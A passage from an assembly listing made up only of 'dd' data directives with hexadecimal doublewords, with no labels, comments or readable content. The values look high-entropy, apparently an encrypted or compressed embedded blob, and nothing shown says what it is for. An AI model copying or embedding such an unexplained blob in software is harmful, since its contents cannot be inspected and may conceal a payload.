0BA62793Dh, 8B0983CBh, 0D790888Bh dd 281699BAh, 0D71C6ACDh, 2BC0D9E4h, 4F21CB4Bh, 0B6CBC355h dd 60DF2610h, 51CBEE5Ch, 6E50B84h, 0F3600C87h, 9A222BE9h dd 315C338Ch, 0E90D06D8h, 1F4D6008h, 5EB668C3h, 0C560CA94h dd 908AC980h, 0E96C0B25h, 944E1988h, 68858896h, 0E3307C97h dd 5671E954h, 14F1856h, 5F11EC36h, 0A249710h, 68501660h dd 8D1F48B5h, 0C5E02DEh, 0BA520EFEh, 18076E2h, 135D73EBh dd 21565BDEh, 48348B1Ah, 8428E98Fh, 0E9A8EFEh, 0B45BBD9Ch dd 0F7552034h, 632C68E1h, 98CA5D14h, 25CE5408h, 53EE4488h dd 65E94A16h, 0C1483F41h, 7CE408E0h, 8185BC20h, 3A96758Dh dd 5EB59829h, 92A6E9A1h, 169380D4h, 6F50F13h, 97E7EFC1h dd 28D22D40h, 645D29E0h, 0CA8C3034h, 335F31FDh, 522B8Bh dd 2D08CCB4h, 7F1166E1h, 40C01202h, 6C18006h, 0F6C9FED8h dd 0DF700ED1h, 5859C826h, 0B623A08h, 88407AE9h, 2106FDBBh dd 0EBC10F08h, 92DB79E4h, 4E4422EAh, 0E5E20FA2h, 0E7084353h dd 0DC2CFAh, 2C2B6856h, 5E7934CEh, 1039F24Ch, 145E7E62h dd 82201627h, 0CC5E4BA1h, 0D03EBDF1h, 862EA7E1h, 26AA581Ch dd 0CB283519h, 0F1C29C13h, 685E2248h, 99358027h, 0AC611DCh dd 224C0B5Dh, 0F661E4C6h, 560E6843h, 7A37F876h, 0E35A2478h dd 5F045E5Bh, 860040E2h, 515366DDh, 8817B506h, 7B758BEFh dd 0F3018073h, 2C925DEEh, 95F9BA04h, 75F4F51Ah, 3C3BB8C3h dd 0D3A60C08h, 9A0820D4h, 0B1E91209h, 219ECC7Ah, 6725F1B2h dd 0B5A220D4h, 987E602Fh, 0B174F8Dh, 9CC4552Ch, 81802574h dd 0A312C744h, 29701161h, 7410BE6Ch, 0AB900CA4h, 92F17122h dd 29A46Ah, 73F2BB53h, 0F381781Fh, 0C0047DE8h, 5BDF2971h dd 53484CC1h, 2AE961F0h, 23AF8060h, 79093EC4h, 0C8166842h dd 201D9277h, 8CA2CC94h, 0F0203B85h, 5107AD15h, 45C6B850h dd 0BD841254h, 0A4AACD82h, 0CDD756E7h, 9A772392h, 204C6EF0h dd 0B051DA7Ah, 4FAA6DDFh, 83C8F81Fh, 215C0929h, 0C2098D00h dd 557EE2D1h, 408C7F49h, 0D898F2D9h, 3A4F7A26h, 0EE83D51Ch dd 70685A5Dh, 45294869h, 0E2945749h, 4A607900h, 5FFE210Eh dd 64CE8100h, 0D14E7F7Bh, 0DE912EEh, 0CD30911Ch, 0E1240444h dd 33AEEC04h, 1A0B1214h, 0A4034F49h, 2B0135F8h, 669D1C77h dd 731058h, 0BF1CCB20h, 158F6CC7h, 86127F4Fh, 0E5D94E4Eh dd 99326137h, 802A71B8h, 23821540h, 0CAF1C601h, 0CC580884h dd 0AE9B5ECBh, 0E98C3E2Ch, 0B65F7BAFh, 25E702C3h, 81E38AD7h dd 0CF61E213h, 3805DF35h, 0A1D06BCEh, 15AD6B9h, 834913FDh dd 30D1FFC1h, 6A525906h, 19581476h, 5B897975h, 66E19C60h dd 5A662A4Ch, 4916C520h, 0C910A933h, 0CF800108h, 0FEDFF6A4h dd 0DCC6E1D7h, 0B504A004h, 0B4222BF7h, 452DF954h, 41368D05h dd 24CAE934h, 1CEC5260h, 5E95839Ah, 0C1298D3Fh, 25ABFC47h dd 0DE20C2A6h, 0B85B4C68h, 9992053Bh, 0BBFD8C20h, 0C6AC2940h dd 3F549B5Ch, 0F0219580h, 3A88D9B4h, 91F61228h, 0CAEAFBh dd 3080F3B5h, 9A068BE5h, 22B0D5F6h, 0DA466C4Eh, 30C743Eh dd 9B116B3h, 44CD9F6h, 77D63818h, 0C0224490h, 64F50556h dd 85AC948Dh, 264CA6D8h, 334418C3h, 0EEE7F991h, 53C9E72Ch dd 5997C765h, 13EB3192h, 6314336h, 0EE5C4C0Dh, 728384h dd 0C34B3CBBh, 0CB810356h, 514D5E03h, 32474605h, 0AD0C6284h dd 0EE381E02h, 313C5AD8h, 0C43EBAABh, 58902FB4h, 4B47F201h dd 0D32906BDh dd 6234EE20h, 5D76A309h, 94F8BEA5h, 17C7823Ah, 5390DB58h dd 0CB7C9800h, 3DA72543h, 49E9E228h, 5A044293h, 0D9FA8742h dd 5FF10317h, 0E9571605h, 0C296EA7Eh, 1F403194h, 0E05207BAh dd 7400341Bh, 0E6E28122h, 2823A901h, 9ECBDAF7h, 8850070Bh dd 0A2C227D8h, 6148F224h, 0BD7155E6h, 1FCE2C5Ch, 7D05E581h dd 35C04341h, 50630A53h, 0C1AE90Bh, 455F0E01h, 5B18A10Eh dd 0AE0C3EFEh, 6A54136Dh, 0B3781401h, 3F6C1E10h, 32482B9h dd 0C4CF2943h, 1F672581h, 19C1F44h, 4C2A3200h, 2A68595Eh dd 50101323h, 0B0010EBDh, 0F05E298h, 12DD7693h, 3D49C82Fh dd 60319241h, 0F6B44FA9h, 24239C8Ah, 0EB313F40h, 26AB17Ch dd 1DDA5C4Eh, 445276C6h, 0FB5D3E0Ch, 1DF71FBh, 374011Eh dd 0C7B9005Eh, 0E90B0217h, 3C96C943h, 0D244DF92h, 4CA21C8Bh dd 6388E425h, 411703D2h, 8BDA3832h, 93B8BF0h, 5F5192C5h dd 10F9F850h, 8759F759h, 0CA873977h, 8922B376h, 600EEEC1h dd 0B2F09B60h, 0F169011Dh, 41C5A3Eh, 0B44FE6E1h, 0B7AA800Ch dd 64162512h, 6709CD89h, 78965EFh, 24CF8747h, 0D384E1F9h dd 23621050h, 81C2E804h, 75A8C731h, 35AFD39h, 1ACFE97Dh dd 0C3904040h, 0FBA4EE00h, 5BDD01FCh, 8EE91253h, 70EA461h dd 0B08C594Ah, 1F9E2568h, 0E65A289Bh, 0D3934671h, 30585F01h dd 92AAB079h, 0AE4D9D59h, 4FB4A02Bh, 0B988FEB4h, 15A0663h dd 85F661F5h, 0B95C5740h, 16EA09FFh, 892BFC6h, 27539382h dd 42DDE989h, 2A58523h, 75990B04h, 1EB8302h, 9C18780h dd 8EB8127Ch, 91381B0Fh, 89EF83A1h, 149A815h, 19E927DFh dd 0F799209h, 704F6842h, 0A545858Eh, 44056C09h, 0E8AC2703h dd 973C690Ch, 0BC229A6Ch, 170C90E7h, 0E934D7D2h, 0F3A0D406h dd 0C7F5FD12h, 17680A85h, 9CF6404h, 4765C6F2h, 9D0346A8h dd 13EBB71h, 82841FEh, 40A78A20h, 2B9C873Bh, 0DA882965h dd 0C81554EDh, 3292CD30h, 0A60DA606h, 0C0892B1Ah, 0C6E013CFh dd 0E70538A1h, 6158AE34h, 589A8182h, 0EFC0032Ah, 51C78008h dd 0CA2669Fh, 0F930230Fh, 3E9E55Bh, 734E4782h, 2E8790A4h dd 0E025F85Ch, 0EE0FB134h, 2044B6A1h, 2E60AC3h, 1AE13469h dd 88C293CBh, 1100A1CCh, 2D37614Fh, 7D59EC6Fh, 95C54B30h dd 31E7491Bh, 7A689EE8h, 5824394Bh, 0EC138ACBh, 0C47D5E87h dd 0A2712A68h, 2E3378A5h, 1FD2935h, 0B151661Bh, 0D9CB28B9h dd 9963D259h, 90915B92h, 41252A02h, 18073F83h, 0D4C6D443h dd 55485753h, 397C05D5h, 3F805D5Ah, 0EE5841CAh, 4CD57A31h dd 60E72989h, 57159BF7h, 69E96715h, 136509Dh, 0C369395Ch dd 186DA468h, 0A814877h, 182C33BFh, 0CD01C7F4h, 1DB0BE7h dd 0C20BCE3Ch, 93461A88h, 7C6A46B0h, 0C203CAB1h, 0D916E607h dd 917DF3D1h, 80023904h, 4AA85Ah, 6D577ACEh, 4026E965h dd 5B076676h, 0F1885150h, 8A59C821h, 44E5FF35h, 132B453Bh dd 4A84B270h, 0C599634Ch, 3FB40050h, 0ECC0CCFEh, 0C4488007h dd 0F15D515Fh, 698D576Ah, 0DBA494F1h, 5BA5C640h, 209698F6h dd 29247C48h, 310F1647h, 0EC826AD2h, 0FFFA2D81h, 8AE97308h dd 5F2C7D2Ch, 53690C45h, 7100C24Fh, 5107261Eh, 0EE4D5BB9h dd 0CA29040Ah, 0A4525E59h, 0E92C5ADBh, 888BC16Dh, 0A337CCDAh dd 0EDE8DB64h, 131DEF1h, 6354F825h, 50BC02C2h, 79BE97D8h dd 7A098AA8h, 2D6EF902h, 5A795F64h, 6C0507E2h, 590B410Eh dd 3500C1DAh, 316956DFh, 0C058C501h, 0FB61EFCAh, 0D909F75Bh dd 9A42F4E9h, 3D9842Dh, 7F30BD4h, 16D670D0h, 0D575CCF9h dd 9791A2A6h, 2D854712h, 91337582h, 2F4A34FFh, 0C11AE916h dd 0DC8DB78Dh, 0A1C83C6Eh, 0B53F210Ch, 8ACA8444h, 4F1304A6h dd 0C122730h, 0E23164F0h, 0E340E998h, 0F55BA9BEh, 0BCD5242Fh dd 0BE9A1A9h, 5D4F092Eh, 6C0EA850h, 0C0083848h, 441258CDh dd 0AEDB820h, 325C77FBh, 793337F4h, 5668B221h, 0CFA63C38h dd 7F89B766h, 3136A928h, 0C6800D06h, 0D5C05DE6h, 412A10F1h dd 0CB291F11h, 0D83B8B59h, 687B4D14h, 4ACD2C53h, 0BE126CCAh dd 788FF213h, 4306462Ah, 0FF886E90h, 0FB78875Fh, 2256BF2Fh dd 18384AC7h, 5073C688h, 0F5E9F40Bh, 0F6F8CE12h, 0ADE5A9AAh dd 0BEDD3ED8h, 44044B37h, 48FAF8E2h, 3F9C1B69h, 0E697E167h dd 0E1485B2Fh, 0D048B2BFh, 6816B9C6h, 15645305h, 86F40DB5h dd 0B98F992Dh, 0FCE9C786h, 8102D71Eh, 0C25543EAh, 886623Dh dd 5704088Fh, 0F90F9E9h, 9710B268h, 309C7419h, 29324362h dd 0F159E3C8h, 4B064863h, 0EF5C3DAEh, 0EA856F81h, 36820446h dd 0E3C1217Eh, 8A042E08h, 5D095BA1h, 0A096D8AEh, 9A2D68AAh dd 95F9982Ah, 35C7181Fh, 69A5118Bh, 55D9F2A9h, 6B8507A7h dd 0C15D1460h, 0E8E6D1DBh, 981784F6h, 64098726h, 9DDDAF0Eh dd 0B23CDECEh, 50E5E4E1h, 5C9DB8ECh, 0C2063558h, 632891E9h dd 47C3652Ch, 9A9FBB81h, 0E620BCD1h, 4F5673DDh, 5D41C2EEh dd 197E851h, 0F904D7D4h, 41F53A56h, 6893C0EAh, 5087FAD9h dd 0EE7D35Ch, 7B33B71h, 327FBCD8h, 110C1260h, 74333074h dd 0FD0195E9h, 0C05AF028h, 406404D8h, 278805A8h, 92CB225h dd 0C6FE72B6h, 0F0E0A3D8h, 0ED32169Fh, 6951E909h, 0DB8F847Ah dd 0B9FC3412h, 65BD2424h, 2801B782h, 33A8C0F8h, 2C8981D8h dd 3E204AE4h, 60F707EFh, 124CCCD7h, 0E7F60BF3h, 0C206036Ah dd 49B508h, 5242E6BDh, 0ED04817Ch, 5BEE3E30h, 4B013AC7h dd 0E3A4F82h, 2600F5C5h, 8DE90BAEh, 0C478E26Bh, 9E04403Dh dd 55CD2D4Fh, 8A4FA326h, 1AE152A5h, 7AF5CA08h, 0D30DA18Ah dd 6110893Dh, 0B57B40C2h, 5E00BCBCh, 1A691125h, 0CB350446h dd 0C70FBD56h, 9547D0D3h, 0FA162924h, 0D8234E9h, 4A40405Ah dd 0F1770F22h, 0A7C4CF31h, 7510E4D1h, 0FC13B40h, 0C8310EE8h dd 0D2E08967h, 0C07C7AB2h, 78862882h, 0E8DE6013h, 75B6016Dh dd 9EE9EF29h, 8026874Ah, 0C33310F6h, 9063FAFh, 44791613h dd 0B851D41Dh, 0E285CA20h, 327066A7h, 1AFAC884h, 127896AAh dd 83EC8CE6h, 74B50CD3h, 82083F30h, 612036F2h, 43BA0774h dd 0A3D74806h, 855A5B23h, 8348D4h, 525E9AEFh, 545305A6h dd 56D252E9h, 3530898Bh, 106729EEh, 0B91C301Fh, 628D7D27h dd 350B29BBh, 35B6001Eh, 1B4C9E20h, 0BE1838B3h, 0A10C5AF0h dd 2751B182h, 39C337B1h, 0E1C020DFh, 0B27B5206h, 0D44BCFF0h dd 1B7973D0h, 543F7BE8h, 248899A2h, 80958E1h, 8520029Dh dd 10758E27h, 59906812h, 8FD2E441h, 0B3845A90h, 6A951EF8h dd 416A1111h, 0E91808CDh, 30094B26h, 584CB169h, 0F0245479h dd 0F358131h, 3A53802Ch, 508AB116h, 0DBF71Eh, 5166DDF3h dd 0D848296Bh, 2BEB07C5h, 0E08FF911h, 0EA12DBC3h, 9246D61Eh dd 1F560C64h, 805FD01Fh, 0DF286ACEh, 0FA06817h, 27D87631h dd 54134F16h, 380B39F9h, 9F1E49BBh, 36C0A90Ch, 6CF50780h dd 6E59EC20h, 0E5282762h, 0ED705B54h, 0F6E92D06h, 0E2531A85h dd 0D38F3985h, 952458A8h, 4D114C7Eh, 2601270Dh, 0A07F6A33h dd 0B62FD9C9h, 8BC54F9Ch, 0D4F42311h, 9CC07D5Ah, 3E4BD7BEh dd 0B0A755CEh, 6DEEEFE8h, 53344316h, 6C114900h, 4889C233h dd 0C43036F7h, 39D82D68h, 251F223Dh, 0BCE8B60h, 57052E1Dh dd 4B6D8306h, 1677F853h, 1F91EC0Dh, 8A94ADD1h, 16E9833Bh dd 7CC80C87h, 57D82068h dd 7F632AFCh, 945EF7D5h, 76027CE8h, 5714D51Eh, 0F01F0D6h dd 5E47744Eh, 9707BAA0h, 60218D19h, 0E906C17Fh, 519F680Bh dd 2CFB2061h, 0EC6AD4Ch, 0A07FD229h, 7B5B74C3h, 0A7D84801h dd 96F40841h, 4FFA3E39h, 22B5C8ACh, 593FA108h, 4B315870h dd 1BE5362h, 68D52C4Ah, 2D72781Bh, 0A9E6789h, 14DA8AB3h dd 5618A4F5h, 641BDD53h, 2313B626h, 8183C222h, 344B1DD0h dd 7B4B05F6h, 304DE32h, 2C4FBF5Eh, 4E2CB199h, 8C201112h dd 6E40E67Bh, 41B89859h, 7BE2ED21h, 61B98D00h, 0A077CA36h dd 911B8DCh, 0CCE9602Dh, 0E607BEF2h, 30DA4D9Ah, 955DCEB6h dd 0A29C308Bh, 0DD0CE691h, 0BF24376h, 6D03214Fh, 828FD68Eh dd 3808B9EBh, 0C78084CFh, 42568221h, 5023AC4h, 8C12280Dh dd 0CD47C148h, 0F3D2BD28h, 8919598Ah, 0B92D24D4h, 0A41164A2h dd 0BE3C66DFh, 0A0F3989Eh, 37685E7Dh, 0AB3F5CD6h, 0F180DC40h dd 0CB7AE998h, 1F27F431h, 0D049BEA4h, 0E2D3BB39h, 0E8E3D2D6h dd 0B44C7550h, 5A54B0C1h, 0C5018172h, 34AB5331h, 42FE5C1h dd 0A911E89Ch, 66D4526h, 0BA007EC1h, 43C12B41h, 2C34E281h dd 34AAF947h, 0D568D30Ah, 4AC7A3C4h, 1A6AD65h, 32286010h dd 903EA25Ch, 1D791FF9h, 93C120A2h, 0EA1E0003h, 0E9186608h dd 0A15BAE37h, 5C571562h, 52126549h, 48EA8B92h, 151D1047h dd 689F3681h, 95DE7C4Ah, 0F1F61372h, 18CC4EE0h, 0AD0D1968h dd 3DC036FAh, 6896DC5h, 4FF8F6A0h, 2A21DD02h, 33CC8E5Fh dd 60C53F37h, 0EAC09ABDh, 0F2398006h, 5CC29D25h, 2E38EB9Dh dd 933C50D3h, 7A09505Ah, 0AC1CE0C9h, 4BFD3168h, 0C18E49h dd 979EA81h, 29615F60h, 0EE041678h, 5E0CEF08h, 68E13DC2h dd 0F090B3FFh, 3CE59666h, 808BB73Eh, 0E2A965F7h, 0E9C2FB81h dd 3B2428CDh, 4202B383h, 31322F18h, 5859C6C0h, 6E1F6812h dd 9210AEA3h, 0E0C10025h, 11FC2D04h, 121310Dh, 7FE2854h dd 80534555h, 6201DD2Ch, 5E5F607Ch, 0DA68357Bh, 82F72927h dd 0F8FCE942h, 0BA5200DCh, 7E71083h, 5A24D029h, 9E5A005Eh dd 83009F9Ch, 5A54D68h, 5661CBFh, 210B4A8Ah, 8F3FFCD8h dd 60409377h, 47757257h, 4D169F7h, 8DAD6400h, 0E910B88Ah dd 0BB000FC4h, 0BE80A283h, 5B0ED929h, 57C88950h, 64CA3F16h dd 5057E908h, 5E783110h, 0B2321772h, 6F2D7A55h, 43D62EF8h dd 0DA6B0D46h, 29494ABCh, 51D8285h, 1AF5E038h, 0CF680453h dd 0AC26933Dh, 12155898h, 2CC342Eh, 5FB5CF4Bh, 0C442E3C9h dd 0B1B4AB6Ch, 70EE5C2h, 908C6454h, 550C6892h, 0BCA421C6h dd 1234B6A7h, 0CE0F03FDh, 70363359h, 900D0631h, 77FA2404h dd 6CDA53A9h, 0B6526848h, 0CE80A80Ch, 902C06ACh, 1FE39A2Eh dd 8C03E1C0h, 70C99C9h, 0C0606CAh, 0B213C117h, 0ED0EA681h dd 0D66696ADh, 4E46F782h, 9BD03525h, 7CBDCAFFh, 89680496h dd 1F83987Bh, 7EBA00E7h, 266A0447h, 0C05AD721h, 8019A7A2h dd 0CF29F812h, 57B2D6A8h, 9409C558h, 5503916h, 70FEE83h dd 91B8205Fh, 146EDF34h, 0F858C601h, 64FE1B00h, 3A4C0597h dd 291F8E05h, 7022DF0h, 79C3315Eh, 624E4C57h, 2B584C06h dd 3C0B5E2Dh, 0D0CEC229h, 4061E9D7h, 5BBBA0B5h, 265D6F2Dh dd 12D36E46h, 7949A322h, 0B9FA1954h, 0C6031C76h, 0E1D1492Ch dd 9B0895C1h, 9A43A728h, 0FA6850C2h, 0FE3CEED0h, 0DFCB94C6h dd 0E3ADA5C6h, 58FA8A5Ah, 201222E0h, 5C002960h, 1038C405h dd 65846855h, 41202126h, 0B05066D4h, 3830E5F3h, 0A5583AB5h dd 5E811AD1h, 1505A537h, 3535D0A4h, 0B63EBF73h, 10694C6Ch dd 7777D3A2h, 0BD4C30EAh, 7ED8E1BBh, 563BE3Bh, 457C8CC9h dd 0A8D92AC7h, 0DF629881h, 0D2BF0070h, 751C142Ch, 78C0F781h dd 0D5E97F18h, 64E89CC7h, 0A440E085h, 1381BA49h, 0DB8C0168h dd 0BF38955Ah, 2630E953h, 0BBC69DCDh, 8233B78h, 0C2ADF601h dd 41290547h, 4216788h, 0F412CD1Eh, 183DF1D0h, 0D525F7EFh dd 0A7F64831h, 0BE6558E4h, 165B8F49h, 38B9C6E2h, 0F059B6C1h dd 725C4881h, 0FD9BE4F5h, 6EC2A1A9h, 2359DA00h, 4F01778Eh dd 4D2A08DAh, 0AD8A5C17h, 1321B802h, 39C075ACh, 0C5002D06h dd 355F363Ah, 3DCE8D7Fh, 0A450010Bh, 0EE1BB539h, 9C7413CAh dd 0BD70942Dh, 6B8422BAh, 5A540512h, 5C89F7A7h, 0DE0AF060h dd 13F85E82h, 0C0C924EEh, 0C136774Fh, 0E23C2C72h, 3AF7B603h dd 1838995Bh, 1E3A0E42h, 297DD109h, 0C6CD69D6h, 0E308A250h dd 19585C66h, 0EF06D430h, 0C078C3FEh, 0F6530519h, 0D1F75B30h dd 9630663Eh, 0EDF0E0C1h, 14529768h, 4A65C04Fh, 8B24F180h dd 5C8BCD28h, 24386674h, 88A478CBh, 52870562h, 0CE17FE88h dd 0E70AF745h, 0CA4B8C19h, 0F24EC299h, 0A20CD7A5h, 0E5EB1608h dd 25509B40h, 7C8915D1h, 102FFDCAh, 28009650h, 0B82D4B7Dh dd 0DF2CC72Ch, 1AAC656Ah, 8B120104h, 6771F809h, 4F29F24Bh dd 0F74A04E3h, 675D82D0h, 375C0549h, 0E90644F7h, 0A267A820h dd 9A8F7248h, 9C7798D5h, 7EE98B9Eh, 2D045670h, 2C3F4A5Ch dd 0CE401FD9h, 5E16B64h, 0C14A5A63h, 0CA2BC0EAh, 9D282FE0h dd 90D9443h, 0D9BC60D0h, 69C1CD2Ah, 7031030h, 835F5D34h dd 790018C9h, 227ABBB0h, 2558C589h, 2C4AEF01h, 55083FF6h dd 6504BBDh, 0E962AC91h, 0B0DC93E6h, 60577C8Ah, 18A6EA3Ch dd 5E0A30FFh, 2402BE56h, 35F2F112h, 928DB297h, 0B30F5A21h dd 4812223Dh, 5D9EC8B8h, 43C26835h, 1DE24412h, 5958304Ah dd 525A5E68h, 6A12588Dh, 41F289F1h, 4EAA8353h, 4B3698C5h dd 5D5E4038h, 493ADC07h, 20CA31E3h, 3B4C3CC8h, 0CBC04D6h dd 48C31C2Ah, 0EEF1F802h, 3D427A5Ah, 0C02D5049h, 198495E2h dd 6892E4F6h, 5095985Dh, 54B462F7h, 0ED2A54Fh, 1A315756h dd 732871E6h, 0D93154DEh, 37594E71h, 222DC224h, 68E18974h dd 306B06DFh, 1569E919h, 9FABC495h, 5C0D1A0Ch, 89666401h dd 0B78DE902h, 58A066A6h, 0FD13B353h, 1E02DBF6h, 0A24F1D68h dd 0E809B131h, 60DEE998h, 66AC44F9h, 756CA468h, 0B5B7505Eh dd 0B97D7D8h, 80CD428Ah, 0A663B918h, 0EE833E4Fh, 4E25EDD8h dd 4B903AD2h, 0A55BD17Ah, 845AE009h, 11C00687h, 0FB50E6BCh dd 0A9D8D3DBh, 0C8F2AAEh, 49C124D5h, 2A6D9EE9h, 67E85B25h dd 51C2EF5Ch, 1B7E36E9h, 1652BB01h, 0ED313ECAh, 1F0443Fh dd 0EAAD82DDh, 90AD70F3h, 0B3F3886Fh, 0CA680DD7h, 51B2F9C3h dd 30CF88BCh, 26B2C559h, 118BE25Fh, 0DA2A5753h, 41CB6C2h dd 93ED7E9h, 0D4AF1268h, 10C026EEh, 50571FCEh, 1E4519C2h dd 803DA951h, 920C8A2Bh, 0D06DF60Dh, 0CD04BC49h, 82339B46h dd 8E08F6B7h, 0EBEAD000h, 93FA2157h, 2A518C36h, 0AA03F353h dd 56D64F66h, 57E1E955h, 27C0B453h, 9D4C472Ah, 38F120h dd 7793C2Dh, 1C470906h, 0E950A1B6h, 27B65A4Bh, 379C8213h dd 5884E67Eh, 88A2C821h, 360BA4D7h, 61685540h, 3DE90B2Bh dd 5E242E03h, 5FDE9C2h, 5A38F92Dh, 286C1D9Dh, 0E9192093h dd 4182063Fh, 0CAE3FA9Fh, 1267EA32h, 4BDFC31Fh, 45D58BA1h dd 6222006h, 3960535Eh, 45D5455h, 7640B850h, 0D0628245h dd 0D856CEA4h, 5E7EF767h, 0A40AA94Eh, 52C4D554h, 0B469F6B4h dd 72E62F13h, 639635F6h, 0FC4A142Fh, 801F5D78h, 43100848h dd 485F2DC1h, 814CDFA3h, 28DAFD57h, 0ED614A53h, 5A025285h dd 0A79DAD63h, 3F0E5C0Bh dd 15B69353h, 139EB2D1h, 2778AB69h, 0F2CCF908h, 2D2D2930h dd 5039FBDh, 0DDF708DCh, 0BC91C468h, 1DAC973h, 8EE935E1h dd 2D008368h, 77B44EC9h, 0CDF89240h, 3C192160h, 0B00887C8h dd 0C830EB76h, 90017602h, 752F58D5h, 7207B880h, 0DA91585Fh dd 497C35C0h, 2EE92756h, 814E8E40h, 7494CE04h, 0C0833748h dd 0B1EBB3D2h, 0F2BD6E9h, 0CB834B0Fh, 16A36326h, 46C30E03h dd 0EAE02080h, 9BA957EDh, 0DF584022h, 6816CC66h, 97985B62h dd 25086AE9h, 1C24A50Eh, 0B036B0ECh, 0C31CB270h, 0DE005866h dd 2E6C05Bh, 9F62680h, 4B5A1E61h, 945107EBh, 8A6E2819h dd 3980C44Ch, 0EB939FCBh, 0C320481h, 0CD010220h, 0AAFC4259h dd 30CA89B5h, 21004CAh, 1DABE9C6h, 0C64A38B0h, 2D2A9B2h dd 1E30AC4Ah, 44EFEC80h, 6E60AA46h, 0BF1F5B18h, 0CF013406h dd 1C081A1Ch, 2095142Fh, 9D2CB57Ch, 6F03A40Ch, 68FD53CFh dd 4EBC840Ah, 6CCBBCA1h, 5C71C1C4h, 61E26F13h, 0DEC27EBEh dd 0C3C66B1Bh, 5B1F6495h, 31BC8DBDh, 64336B7Bh, 0ABE8E4E8h dd 0BAC7F384h, 9468F870h, 40FCBE22h, 2A5EBB53h, 0E9273EEEh dd 0C196C827h, 38486359h, 5AB1018Bh, 87C8895Bh, 0E02A8F55h dd 0F71B0E60h, 61E097D8h, 0CABCF6E9h, 4547351Dh, 0D0F765E7h dd 2CFDA4FDh, 0A0C666EEh, 3F675552h, 7C2D1834h, 0C15E3600h dd 511206EAh, 0BBD84568h, 6F610FA6h, 5332E939h, 85C7B58Eh dd 276C6807h, 5546D4Bh, 8129E5C8h, 689862EEh, 4C0AA1D3h dd 201040F7h, 3C1A48DBh, 28C2525h, 443C871Ah, 6CA2951Fh dd 142713CAh, 42A1D9EBh, 5809CE84h, 0BC342617h, 98557A91h dd 97DBE9FCh, 0F4BE6400h, 5E175C0Ch, 1D04E681h, 1DC206FBh dd 64E9F4F3h, 0F07C5B1Ch, 0B81B8B53h, 70310B65h, 2D0D569Bh dd 5708001Ch, 0E0096852h, 8265AC14h, 76C01A9h, 2972625Dh dd 41E56A0Bh, 9B8C2060h, 0C56B26ADh, 5F307A02h, 62F50149h dd 8208092Eh, 3339E21h, 7A01D2F7h, 20163815h, 7097D589h dd 0AAF0C4D6h, 7CE20717h, 7C5C5C89h, 25B27008h, 93129CAEh dd 1B0163E5h, 5A5EF589h, 8F626F29h, 0E91F784Ch, 97092626h dd 0CF7B27DEh, 19F15249h, 685AD683h, 0B7E8DC99h, 912B74D3h dd 6CCCE91Ch, 62815E46h, 47F848B2h, 0BB66BB9h, 0B5B4260Ch dd 73F76680h, 0EE1C92D7h, 4BBEF35Eh, 0FC2C8B92h, 1102F29Fh dd 1B013D66h, 0D654B1ECh, 3271CBEh, 0DA8EE54Fh, 0DA0BD86Bh dd 2C3C9C8h, 72449784h, 309D3052h, 0A8BD4DC6h, 0C1409D45h dd 1125DEAh, 0DF052454h, 0F84D677Fh, 0A9212DB0h, 894F0BB2h dd 304CB4D6h, 704A814Bh, 32078473h, 474F60BCh, 7705ACE2h dd 33B60114h, 0BF161D58h, 0CBF8F732h, 8CBB407h, 86A558E5h dd 0C44A12BCh, 0F608EBF1h, 5E661226h, 27BE5D57h, 0A144E02Bh dd 712BDE24h, 9D5318Fh, 1462C23Ah, 685028C1h, 0FACAB006h dd 9AA4BE9h, 2C025760h, 0C1010B46h, 68506E5h, 0A0ED8302h dd 453AB156h, 0E10BFF93h, 2F18107h, 0CBC968C9h, 5DE89967h dd 0D2A5316Bh, 0F9CD510Ch, 0EE0101B0h, 6130F30h, 5D527F2Ah dd 0B124DD33h, 4CB07BCCh, 0F7AE581h, 5260D206h, 0E31019E9h dd 6CC5C889h, 0D0C858C3h, 17F245B8h, 0B12DB471h, 5A13E8B9h dd 79D71A95h, 8BE905E3h, 1904BD5Dh, 0CAA7EB9Fh, 0B8240872h dd 545185F8h, 7FD0E659h, 27874E84h, 0F70FB2CCh, 0FABB2ED9h dd 8E7D68E6h, 0DC69EB97h, 6CE80AAAh, 0EF93BF8Dh, 5FC58F1Fh dd 2CC81DD4h, 3D0252C1h, 0E198E912h, 7C03273Ah, 89180A58h dd 342B06D3h, 33CEB071h, 77208BEDh, 4375F5B0h, 1E6D814h dd 4E8F448Bh, 985036Bh, 0C5877681h, 86E325EEh, 0ECE554FFh dd 0CF1EC3F6h, 12C96388h, 52FE2F6Fh, 0B39219F8h, 5824C64h dd 7B3D70F4h, 4126AF4Eh, 0CF89C8E3h, 4BA09170h, 5872F349h dd 0CD032D3Ch, 0C831846h, 1E4E32E9h, 0FFE26524h, 9F91F794h dd 2DAFA910h, 25844559h, 2268EE51h, 40D36643h, 0D485E708h dd 6A019849h, 21601E5Ah, 0C00B32C8h, 9219F725h, 1E056563h dd 7F25D7AAh, 0B1CE7A21h, 6D046B29h, 59016B93h, 0C4332535h dd 0C57D8939h, 6013425Ah, 0BBC5D7ADh, 854295E6h, 4C3C0B96h dd 8479339Ah, 0DAD4CC45h, 0E239FB53h, 5C243577h, 0F8A144BEh dd 89CA4F65h, 59B0B44Bh, 585C69C0h, 0E88BE56h, 0E9719E07h dd 2BE823E9h, 8082BD93h, 4260A709h, 90FAA46Ah, 3F3E5520h dd 5D7590E1h, 49518526h, 58C647ECh, 0B6687F6Eh, 8C5A1708h dd 8A34E9A1h, 5EAB40BBh, 6E054C38h, 4A09EA47h, 0DE139E40h dd 0A208A05Dh, 52697C97h, 0D9C2C16Ah, 524E66D8h, 5C0484F6h dd 0C66B1025h, 8894E2Bh, 44423B1Ah, 5542C3E9h, 4E753F98h dd 0FD5B980h, 41350511h, 0CE14069h, 87723E59h, 6607C05h dd 5080DDB1h, 28F38DF4h, 0E909D222h, 0B4F60003h, 5B02C53Ah dd 2991CE01h, 8C24ABC7h, 16CC6F08h, 4D07415Eh, 23230D68h dd 10D4892h, 19FBBECAh, 5E2858E9h, 150CD94Ah, 0B728606h dd 0B2685F0Ch, 0BCBB1761h, 0D60500EEh, 2912C2EBh, 33CC3AE7h dd 5D6D69E9h, 98B2A323h, 5763CD2h, 52425413h, 0E0562A86h dd 0BCC3ADB3h, 8A2D8152h, 82DF25F6h, 454B8C8Ch, 8084C27Dh dd 9E16C14Bh, 0E1B9022h, 474C085Bh, 13FAE6C0h, 18C01D96h dd 73C33874h, 0B279E29h, 0CBD34468h, 0E555D08h, 0E4E46404h dd 0EE28FB62h, 37B7415Bh, 0B54B7B1Ah, 5E8C6428h, 5375D80Eh dd 7A43BB00h, 0EB81275Ah, 5C3FE27Bh, 1228F1Eh, 0CD09F3F8h dd 0A9091AFEh, 0E9BA30DDh, 1DDE968Fh, 0EBB589ACh, 0EEFCD864h dd 